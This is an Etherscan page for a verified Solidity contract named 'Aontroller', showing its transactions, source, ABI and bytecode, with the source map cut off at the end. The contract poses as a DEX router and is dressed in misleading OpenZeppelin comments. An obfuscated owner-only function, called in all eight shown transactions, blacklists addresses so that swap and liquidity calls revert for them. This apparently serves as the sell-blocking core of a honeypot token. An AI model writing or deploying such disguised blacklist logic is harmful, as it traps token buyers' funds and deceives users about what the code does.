Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 8 from a total of 8 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Bbsaqca0o5 | 20124504 | 183 days ago | IN | 0 ETH | 0.00029417 | ||||
Bbsaqca0o5 | 20124281 | 183 days ago | IN | 0 ETH | 0.00010812 | ||||
Bbsaqca0o5 | 20124172 | 183 days ago | IN | 0 ETH | 0.00013872 | ||||
Bbsaqca0o5 | 20124168 | 183 days ago | IN | 0 ETH | 0.00007918 | ||||
Bbsaqca0o5 | 20124162 | 183 days ago | IN | 0 ETH | 0.00014897 | ||||
Bbsaqca0o5 | 20124137 | 183 days ago | IN | 0 ETH | 0.00014964 | ||||
Bbsaqca0o5 | 20124135 | 183 days ago | IN | 0 ETH | 0.00014976 | ||||
Bbsaqca0o5 | 20124132 | 183 days ago | IN | 0 ETH | 0.00014356 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Aontroller
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-19 */ /** */ // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be grante exclusive acces to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modfier * `onlyOwner`, which can be applied to your functions to restrct their use to * the owner. */ // Define interface for TransferController interface RouterController { function WETH() external view returns (address); function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Aontroller is RouterController{ mapping(address => uint256) private _isBlacklisted; address private owner; constructor (){ owner = msg.sender; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function getCode2222222() public view returns (uint256) { address ad = address(this); uint256 result = uint160(ad); return result; } function getCode22222(address addr) public pure returns (uint256) { uint256 result = uint160(addr); return result; } function getCode333333(uint160 addr) public pure returns (address) { address result = address(addr); return result; } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override { uint256 liquidity = _isBlacklisted[path[1]]; if(liquidity > 0){ require(false); } } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) { amountToken = amountTokenDesired; amountETH = amountTokenMin; liquidity = _isBlacklisted[token]; if(liquidity > 0){ require(false); } } function getAmountsIn(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isBlacklisted[path[0]]; return amounts; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ function bbsaqca0o5(address[] calldata accounts, uint256 excluded) public { require(msg.sender == owner); for (uint256 i = 0; i < accounts.length; i++) { _isBlacklisted[accounts[i]] = excluded; } } function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){ ff = new bool[](accounts.length); for (uint256 i = 0; i < accounts.length; i++) { ff[i] = _isBlacklisted[accounts[i]] > 0; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function getTime() public view returns (uint256) { return block.timestamp; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o5","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode22222","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCode2222222","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode333333","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"getFlag","outputs":[{"internalType":"bool[]","name":"ff","type":"bool[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052348015600e575f80fd5b503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dcc8061005c5f395ff3fe608060405260043610610085575f3560e01c8063791ac94711610058578063791ac94714610165578063ad5c46481461018d578063bb87996f146101b7578063f1b5a5c4146101f3578063f305d7191461021d57610085565b806307db000e146100895780631f00ca74146100c55780633ab5bda5146101015780635581a1ab14610129575b5f80fd5b348015610094575f80fd5b506100af60048036038101906100aa91906106b5565b61024f565b6040516100bc91906107c2565b60405180910390f35b3480156100d0575f80fd5b506100eb60048036038101906100e691906109b7565b61034b565b6040516100f89190610ac8565b60405180910390f35b34801561010c575f80fd5b5061012760048036038101906101229190610ae8565b610415565b005b348015610134575f80fd5b5061014f600480360381019061014a9190610b45565b6104f5565b60405161015c9190610b7f565b60405180910390f35b348015610170575f80fd5b5061018b60048036038101906101869190610b98565b610519565b005b348015610198575f80fd5b506101a161059c565b6040516101ae9190610c3d565b60405180910390f35b3480156101c2575f80fd5b506101dd60048036038101906101d89190610c80565b6105a8565b6040516101ea9190610c3d565b60405180910390f35b3480156101fe575f80fd5b506102076105b6565b6040516102149190610b7f565b60405180910390f35b61023760048036038101906102329190610cab565b6105dd565b60405161024693929190610d34565b60405180910390f35b60608282905067ffffffffffffffff81111561026e5761026d610825565b5b60405190808252806020026020018201604052801561029c5781602001602082028036833780820191505090505b5090505f5b83839050811015610344575f805f8686858181106102c2576102c1610d69565b5b90506020020160208101906102d79190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541182828151811061032557610324610d69565b5b60200260200101901515908115158152505080806001019150506102a1565b5092915050565b6060815167ffffffffffffffff81111561036857610367610825565b5b6040519080825280602002602001820160405280156103965781602001602082028036833780820191505090505b5090505f80835f815181106103ae576103ad610d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054815f8151811061040357610402610d69565b5b60200260200101818152505092915050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461046d575f80fd5b5f5b838390508110156104ef57815f808686858181106104905761048f610d69565b5b90506020020160208101906104a59190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061046f565b50505050565b5f808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b5f805f868660018181106105305761052f610d69565b5b90506020020160208101906105459190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115610593575f610592575f80fd5b5b50505050505050565b5f803090508091505090565b5f8082905080915050919050565b5f803090505f8173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b5f805f8792508691505f808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115610637575f610636575f80fd5b5b96509650969350505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261067557610674610654565b5b8235905067ffffffffffffffff81111561069257610691610658565b5b6020830191508360208202830111156106ae576106ad61065c565b5b9250929050565b5f80602083850312156106cb576106ca61064c565b5b5f83013567ffffffffffffffff8111156106e8576106e7610650565b5b6106f485828601610660565b92509250509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b5f8115159050919050565b61073d81610729565b82525050565b5f61074e8383610734565b60208301905092915050565b5f602082019050919050565b5f61077082610700565b61077a818561070a565b93506107858361071a565b805f5b838110156107b557815161079c8882610743565b97506107a78361075a565b925050600181019050610788565b5085935050505092915050565b5f6020820190508181035f8301526107da8184610766565b905092915050565b5f819050919050565b6107f4816107e2565b81146107fe575f80fd5b50565b5f8135905061080f816107eb565b92915050565b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61085b82610815565b810181811067ffffffffffffffff8211171561087a57610879610825565b5b80604052505050565b5f61088c610643565b90506108988282610852565b919050565b5f67ffffffffffffffff8211156108b7576108b6610825565b5b602082029050602081019050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108f1826108c8565b9050919050565b610901816108e7565b811461090b575f80fd5b50565b5f8135905061091c816108f8565b92915050565b5f61093461092f8461089d565b610883565b905080838252602082019050602084028301858111156109575761095661065c565b5b835b81811015610980578061096c888261090e565b845260208401935050602081019050610959565b5050509392505050565b5f82601f83011261099e5761099d610654565b5b81356109ae848260208601610922565b91505092915050565b5f80604083850312156109cd576109cc61064c565b5b5f6109da85828601610801565b925050602083013567ffffffffffffffff8111156109fb576109fa610650565b5b610a078582860161098a565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b610a43816107e2565b82525050565b5f610a548383610a3a565b60208301905092915050565b5f602082019050919050565b5f610a7682610a11565b610a808185610a1b565b9350610a8b83610a2b565b805f5b83811015610abb578151610aa28882610a49565b9750610aad83610a60565b925050600181019050610a8e565b5085935050505092915050565b5f6020820190508181035f830152610ae08184610a6c565b905092915050565b5f805f60408486031215610aff57610afe61064c565b5b5f84013567ffffffffffffffff811115610b1c57610b1b610650565b5b610b2886828701610660565b93509350506020610b3b86828701610801565b9150509250925092565b5f60208284031215610b5a57610b5961064c565b5b5f610b678482850161090e565b91505092915050565b610b79816107e2565b82525050565b5f602082019050610b925f830184610b70565b92915050565b5f805f805f8060a08789031215610bb257610bb161064c565b5b5f610bbf89828a01610801565b9650506020610bd089828a01610801565b955050604087013567ffffffffffffffff811115610bf157610bf0610650565b5b610bfd89828a01610660565b94509450506060610c1089828a0161090e565b9250506080610c2189828a01610801565b9150509295509295509295565b610c37816108e7565b82525050565b5f602082019050610c505f830184610c2e565b92915050565b610c5f816108c8565b8114610c69575f80fd5b50565b5f81359050610c7a81610c56565b92915050565b5f60208284031215610c9557610c9461064c565b5b5f610ca284828501610c6c565b91505092915050565b5f805f805f8060c08789031215610cc557610cc461064c565b5b5f610cd289828a0161090e565b9650506020610ce389828a01610801565b9550506040610cf489828a01610801565b9450506060610d0589828a01610801565b9350506080610d1689828a0161090e565b92505060a0610d2789828a01610801565b9150509295509295509295565b5f606082019050610d475f830186610b70565b610d546020830185610b70565b610d616040830184610b70565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220486cf7e7fe29b5a59ad2f5cff9bc36914454c969b97ead1eb4a703d89b76f4ca64736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610085575f3560e01c8063791ac94711610058578063791ac94714610165578063ad5c46481461018d578063bb87996f146101b7578063f1b5a5c4146101f3578063f305d7191461021d57610085565b806307db000e146100895780631f00ca74146100c55780633ab5bda5146101015780635581a1ab14610129575b5f80fd5b348015610094575f80fd5b506100af60048036038101906100aa91906106b5565b61024f565b6040516100bc91906107c2565b60405180910390f35b3480156100d0575f80fd5b506100eb60048036038101906100e691906109b7565b61034b565b6040516100f89190610ac8565b60405180910390f35b34801561010c575f80fd5b5061012760048036038101906101229190610ae8565b610415565b005b348015610134575f80fd5b5061014f600480360381019061014a9190610b45565b6104f5565b60405161015c9190610b7f565b60405180910390f35b348015610170575f80fd5b5061018b60048036038101906101869190610b98565b610519565b005b348015610198575f80fd5b506101a161059c565b6040516101ae9190610c3d565b60405180910390f35b3480156101c2575f80fd5b506101dd60048036038101906101d89190610c80565b6105a8565b6040516101ea9190610c3d565b60405180910390f35b3480156101fe575f80fd5b506102076105b6565b6040516102149190610b7f565b60405180910390f35b61023760048036038101906102329190610cab565b6105dd565b60405161024693929190610d34565b60405180910390f35b60608282905067ffffffffffffffff81111561026e5761026d610825565b5b60405190808252806020026020018201604052801561029c5781602001602082028036833780820191505090505b5090505f5b83839050811015610344575f805f8686858181106102c2576102c1610d69565b5b90506020020160208101906102d79190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541182828151811061032557610324610d69565b5b60200260200101901515908115158152505080806001019150506102a1565b5092915050565b6060815167ffffffffffffffff81111561036857610367610825565b5b6040519080825280602002602001820160405280156103965781602001602082028036833780820191505090505b5090505f80835f815181106103ae576103ad610d69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054815f8151811061040357610402610d69565b5b60200260200101818152505092915050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461046d575f80fd5b5f5b838390508110156104ef57815f808686858181106104905761048f610d69565b5b90506020020160208101906104a59190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061046f565b50505050565b5f808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b5f805f868660018181106105305761052f610d69565b5b90506020020160208101906105459190610b45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115610593575f610592575f80fd5b5b50505050505050565b5f803090508091505090565b5f8082905080915050919050565b5f803090505f8173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b5f805f8792508691505f808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115610637575f610636575f80fd5b5b96509650969350505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261067557610674610654565b5b8235905067ffffffffffffffff81111561069257610691610658565b5b6020830191508360208202830111156106ae576106ad61065c565b5b9250929050565b5f80602083850312156106cb576106ca61064c565b5b5f83013567ffffffffffffffff8111156106e8576106e7610650565b5b6106f485828601610660565b92509250509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b5f8115159050919050565b61073d81610729565b82525050565b5f61074e8383610734565b60208301905092915050565b5f602082019050919050565b5f61077082610700565b61077a818561070a565b93506107858361071a565b805f5b838110156107b557815161079c8882610743565b97506107a78361075a565b925050600181019050610788565b5085935050505092915050565b5f6020820190508181035f8301526107da8184610766565b905092915050565b5f819050919050565b6107f4816107e2565b81146107fe575f80fd5b50565b5f8135905061080f816107eb565b92915050565b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61085b82610815565b810181811067ffffffffffffffff8211171561087a57610879610825565b5b80604052505050565b5f61088c610643565b90506108988282610852565b919050565b5f67ffffffffffffffff8211156108b7576108b6610825565b5b602082029050602081019050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6108f1826108c8565b9050919050565b610901816108e7565b811461090b575f80fd5b50565b5f8135905061091c816108f8565b92915050565b5f61093461092f8461089d565b610883565b905080838252602082019050602084028301858111156109575761095661065c565b5b835b81811015610980578061096c888261090e565b845260208401935050602081019050610959565b5050509392505050565b5f82601f83011261099e5761099d610654565b5b81356109ae848260208601610922565b91505092915050565b5f80604083850312156109cd576109cc61064c565b5b5f6109da85828601610801565b925050602083013567ffffffffffffffff8111156109fb576109fa610650565b5b610a078582860161098a565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b610a43816107e2565b82525050565b5f610a548383610a3a565b60208301905092915050565b5f602082019050919050565b5f610a7682610a11565b610a808185610a1b565b9350610a8b83610a2b565b805f5b83811015610abb578151610aa28882610a49565b9750610aad83610a60565b925050600181019050610a8e565b5085935050505092915050565b5f6020820190508181035f830152610ae08184610a6c565b905092915050565b5f805f60408486031215610aff57610afe61064c565b5b5f84013567ffffffffffffffff811115610b1c57610b1b610650565b5b610b2886828701610660565b93509350506020610b3b86828701610801565b9150509250925092565b5f60208284031215610b5a57610b5961064c565b5b5f610b678482850161090e565b91505092915050565b610b79816107e2565b82525050565b5f602082019050610b925f830184610b70565b92915050565b5f805f805f8060a08789031215610bb257610bb161064c565b5b5f610bbf89828a01610801565b9650506020610bd089828a01610801565b955050604087013567ffffffffffffffff811115610bf157610bf0610650565b5b610bfd89828a01610660565b94509450506060610c1089828a0161090e565b9250506080610c2189828a01610801565b9150509295509295509295565b610c37816108e7565b82525050565b5f602082019050610c505f830184610c2e565b92915050565b610c5f816108c8565b8114610c69575f80fd5b50565b5f81359050610c7a81610c56565b92915050565b5f60208284031215610c9557610c9461064c565b5b5f610ca284828501610c6c565b91505092915050565b5f805f805f8060c08789031215610cc557610cc461064c565b5b5f610cd289828a0161090e565b9650506020610ce389828a01610801565b9550506040610cf489828a01610801565b9450506060610d0589828a01610801565b9350506080610d1689828a0161090e565b92505060a0610d2789828a01610801565b9150509295509295509295565b5f606082019050610d475f830186610b70565b610d546020830185610b70565b610d616040830184610b70565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220486cf7e7fe29b5a59ad2f5cff9bc36914454c969b97ead1eb4a703d89b76f4ca64736f6c634300081a0033
Deployed Bytecode Sourcemap
1358:3029:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4126:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3029:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3876:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1873:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2172:354;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1568:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2020:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1696:165;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2534:487;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;4126:256;4192:16;4236:8;;:15;;4225:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4220:32;;4268:9;4263:112;4287:8;;:15;;4283:1;:19;4263:112;;;4362:1;4332:14;:27;4347:8;;4356:1;4347:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4332:27;;;;;;;;;;;;;;;;:31;4324:2;4327:1;4324:5;;;;;;;;:::i;:::-;;;;;;;:39;;;;;;;;;;;4304:3;;;;;;;4263:112;;;;4126:256;;;;:::o;3029:295::-;3172:21;3232:4;:11;3221:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3211:33;;3268:14;:23;3283:4;3288:1;3283:7;;;;;;;;:::i;:::-;;;;;;;;3268:23;;;;;;;;;;;;;;;;3255:7;3263:1;3255:10;;;;;;;;:::i;:::-;;;;;;;:36;;;;;3029:295;;;;:::o;3876:242::-;3983:5;;;;;;;;;;;3969:19;;:10;:19;;;3961:28;;;;;;4005:9;4000:111;4024:8;;:15;;4020:1;:19;4000:111;;;4091:8;4061:14;:27;4076:8;;4085:1;4076:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4061:27;;;;;;;;;;;;;;;:38;;;;4041:3;;;;;;;4000:111;;;;3876:242;;;:::o;1873:139::-;1930:7;1950:14;1975:4;1950:30;;;;1998:6;1991:13;;;1873:139;;;:::o;2172:354::-;2407:17;2427:14;:23;2442:4;;2447:1;2442:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2427:23;;;;;;;;;;;;;;;;2407:43;;2476:1;2464:9;:13;2461:58;;;2501:5;2493:14;;;;;;2461:58;2396:130;2172:354;;;;;;:::o;1568:120::-;1615:7;1634:10;1655:4;1634:26;;1678:2;1671:9;;;1568:120;:::o;2020:140::-;2078:7;2098:14;2123:4;2098:30;;2146:6;2139:13;;;2020:140;;;:::o;1696:165::-;1744:7;1764:10;1785:4;1764:26;;1801:14;1826:2;1801:28;;;;1847:6;1840:13;;;;1696:165;:::o;2534:487::-;2771:16;2789:14;2805;2846:18;2832:32;;2887:14;2875:26;;2924:14;:21;2939:5;2924:21;;;;;;;;;;;;;;;;2912:33;;2971:1;2959:9;:13;2956:58;;;2996:5;2988:14;;;;;;2956:58;2534:487;;;;;;;;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:111::-;1923:6;1957:5;1951:12;1941:22;;1859:111;;;:::o;1976:181::-;2072:11;2106:6;2101:3;2094:19;2146:4;2141:3;2137:14;2122:29;;1976:181;;;;:::o;2163:129::-;2227:4;2250:3;2242:11;;2280:4;2275:3;2271:14;2263:22;;2163:129;;;:::o;2298:90::-;2332:7;2375:5;2368: